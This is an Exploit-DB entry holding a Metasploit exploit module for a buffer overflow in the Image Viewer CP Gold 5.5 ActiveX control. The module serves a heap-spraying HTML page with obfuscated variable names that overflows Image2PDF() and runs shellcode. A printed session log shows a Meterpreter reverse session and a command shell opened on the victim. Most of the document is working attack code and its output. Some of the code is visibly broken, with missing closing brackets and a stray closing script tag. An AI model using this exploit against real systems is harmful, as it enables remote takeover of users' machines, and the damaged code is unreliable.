Viscom Image Viewer CP Gold 5.5 – ‘Image2PDF()’ Remote Buffer Overflow (Metasploit)

Exploit Database
109 阅读

作者： bz1p

日期： 2010-12-02
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/15658/

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# Image Viewer CP gold v5.5 Buffer Overflow

# Found by: bz1p (AT) bshellz.net

# Impact: Low, NOT marked safe for scripting or initializing

# CVE: ? (0day)

# msf exploit(image_viewer_cpgold) >

# [*] Sending exploit to 172.17.120.211:1061...

# [*] Sending stage (749056 bytes) to 172.17.120.211

# [*] Meterpreter session 1 opened (172.17.120.235:4443 -> 172.17.120.211:1064) at 2010-11-15 18:11:32 +1100

# msf exploit(image_viewer_cpgold) > sessions -l

# Active sessions

# ===============

# IdType InformationConnection

# ------ ---------------------

# 1 meterpreter x86/win32VICTIMXP\victim @ VICTIM172.17.120.235:4443 -> 172.17.120.211:1064

# msf exploit(image_viewer_cpgold) > sessions -i 1

# [*] Starting interaction with 1...

# meterpreter > shell

# Process 3536 created.

# Channel 1 created.

# Microsoft Windows XP [Version 5.1.2600]

# C:\Documents and Settings\victim\Desktop>

################################### Start ###################################

# $Id: image_viewer_cpgold.rb 10429 2010-12-03 18:46:29Z bz1p $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Image Viewer CP Gold ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in NImage Viewer CP Gold ActiveX Control 5.5. When

sending an overly long string to the Image2PDF() property of ImageViewer2.ocx

an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'bz1p (0xbz1p[<AT>]gmail.com)' ],

'Version'=> '$Revision: 10429 $',

'References' =>

[

[ 'CVE', '-' ],

[ 'OSVDB', '-'],

[ 'BID', '-' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00\x03\x04\x05\x06",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]

'DiscoveryDate' => 'Oct 15 2010',

'DisclosureDate' => 'Dec 2 2010',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload.

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.

nops= Rex::Text.to_unescape(make_nops(4))

# Set the return.

ret = Rex::Text.uri_encode([target.ret].pack('L'))

# Randomize the javascript variable names.

vname= rand_text_alpha(rand(100) + 1)

var_i= rand_text_alpha(rand(30)+ 2)

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

rand8= rand_text_alpha(rand(100) + 1)

content = %Q|

<html>

var #{rand1} = unescape('#{shellcode}');

var #{rand2} = unescape('#{nops}');

var #{rand3} = 20;

var #{rand4} = #{rand3} + #{rand1}.length;

while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

var #{rand5} = #{rand2}.substring(0,#{rand4});

var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

var #{rand7} = new Array();

for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

var #{rand8} = ""

for (#{var_i} = 0; #{var_i} < 8500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }

#{vname}.Image2PDF("lolznoaslrdepbypass", #{rand8});

</script>

</html>

content = Rex::Text.randomize_space(content)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end